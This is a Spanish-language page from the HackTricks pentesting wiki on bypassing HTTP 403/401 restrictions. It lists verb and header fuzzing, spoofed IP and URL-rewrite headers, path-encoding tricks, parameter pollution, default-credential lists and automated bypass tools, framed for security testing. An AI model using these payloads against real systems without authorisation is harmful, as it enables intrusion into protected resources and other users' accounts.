9.4 KiB
Bypasses de 403 y 401
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo adicional para profundizar, obtener shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Fuzzing de Verbos/Métodos HTTP
Intenta usar diferentes verbos para acceder al archivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una respuesta 200 a HEAD con
Content-Length: 55
significa que el verbo HEAD puede acceder a la información. Aún así, necesitas encontrar una forma de extraer esa información. - Usar un encabezado HTTP como
X-HTTP-Method-Override: PUT
puede sobrescribir el verbo utilizado. - Utiliza el verbo
TRACE
y, si tienes mucha suerte, tal vez en la respuesta también puedas ver los encabezados añadidos por proxies intermedios que podrían ser útiles.
Fuzzing de Encabezados HTTP
-
Cambia el encabezado Host a algún valor arbitrario (que funcionó aquí)
-
Intenta usar otros User Agents para acceder al recurso.
-
Fuzz de Encabezados HTTP: Intenta usar Encabezados de Proxy HTTP, autenticación HTTP básica y fuerza bruta NTLM (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto, he creado la herramienta fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Si la ruta está protegida, puedes intentar evadir la protección de la ruta usando estos otros encabezados:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
- Si la página está detrás de un proxy, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de HTTP Request Smuggling o encabezados hop-by-hop.
- Fuzz de encabezados HTTP especiales buscando respuestas diferentes.
- Fuzz de encabezados HTTP especiales mientras haces fuzzing de Métodos HTTP.
- Elimina el encabezado Host y tal vez puedas evadir la protección.
Fuzzing de Rutas
Si /ruta está bloqueada:
- Intenta usar /%2e/ruta _(si el acceso está bloqueado por un proxy, esto podría evadir la protección). Intenta también_** /%252e**/ruta (codificación URL doble)
- Intenta evadir Unicode: /%ef%bc%8fruta (Los caracteres codificados en URL son como "/") por lo que al decodificarlos de nuevo será //ruta y tal vez ya habrás evadido la verificación de nombre /ruta
- Otros evasiones de ruta:
- sitio.com/secreto –> HTTP 403 Prohibido
- sitio.com/SECRETO –> HTTP 200 OK
- sitio.com/secreto/ –> HTTP 200 OK
- sitio.com/secreto/. –> HTTP 200 OK
- sitio.com//secreto// –> HTTP 200 OK
- sitio.com/./secreto/.. –> HTTP 200 OK
- sitio.com/;/secreto –> HTTP 200 OK
- sitio.com/.;/secreto –> HTTP 200 OK
- sitio.com//;//secreto –> HTTP 200 OK
- sitio.com/secreto.json –> HTTP 200 OK (ruby)
- Utiliza toda esta lista en las siguientes situaciones:
- /FUZZsecreto
- /FUZZ/secreto
- /secretoFUZZ
- Otras evasiones de API:
- /v3/datos_usuarios/1234 --> 403 Prohibido
- /v1/datos_usuarios/1234 --> 200 OK
- {“id”:111} --> 401 No autorizado
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 No autorizado
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<id_legítimo>","user_id":"<id_víctima>"} (Contaminación de Parámetros JSON)
- user_id=ID_ATACANTE&user_id=ID_VÍCTIMA (Contaminación de Parámetros)
Manipulación de parámetros
- Cambiar el valor del parámetro: De
id=123
-->id=124
- Agregar parámetros adicionales a la URL:
?
id=124
—->id=124&isAdmin=true
- Eliminar los parámetros
- Reordenar los parámetros
- Usar caracteres especiales.
- Realizar pruebas de límites en los parámetros: proporcionar valores como -234 o 0 o 99999999 (solo algunos ejemplos de valores).
Versión del protocolo
Si se está utilizando HTTP/1.1 intentar usar 1.0 o incluso probar si admite 2.0.
Otros métodos de evasión
- Obtener la IP o CNAME del dominio e intentar contactarlo directamente.
- Intentar saturar el servidor enviando solicitudes GET comunes (Funcionó para este individuo con Facebook).
- Cambiar el protocolo: de http a https, o de https a http
- Ir a https://archive.org/web/ y verificar si en el pasado ese archivo era accesible a nivel mundial.
Fuerza bruta
- Adivinar la contraseña: Probar las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF?
- Fuerza bruta: Probar autenticación básica, digest y NTLM.
{% code title="Credenciales comunes" %}
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
{% endcode %}
Herramientas Automáticas
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Extensión de Burp - 403 Bypasser
- Forbidden Buster
Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la oficial mercancía de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.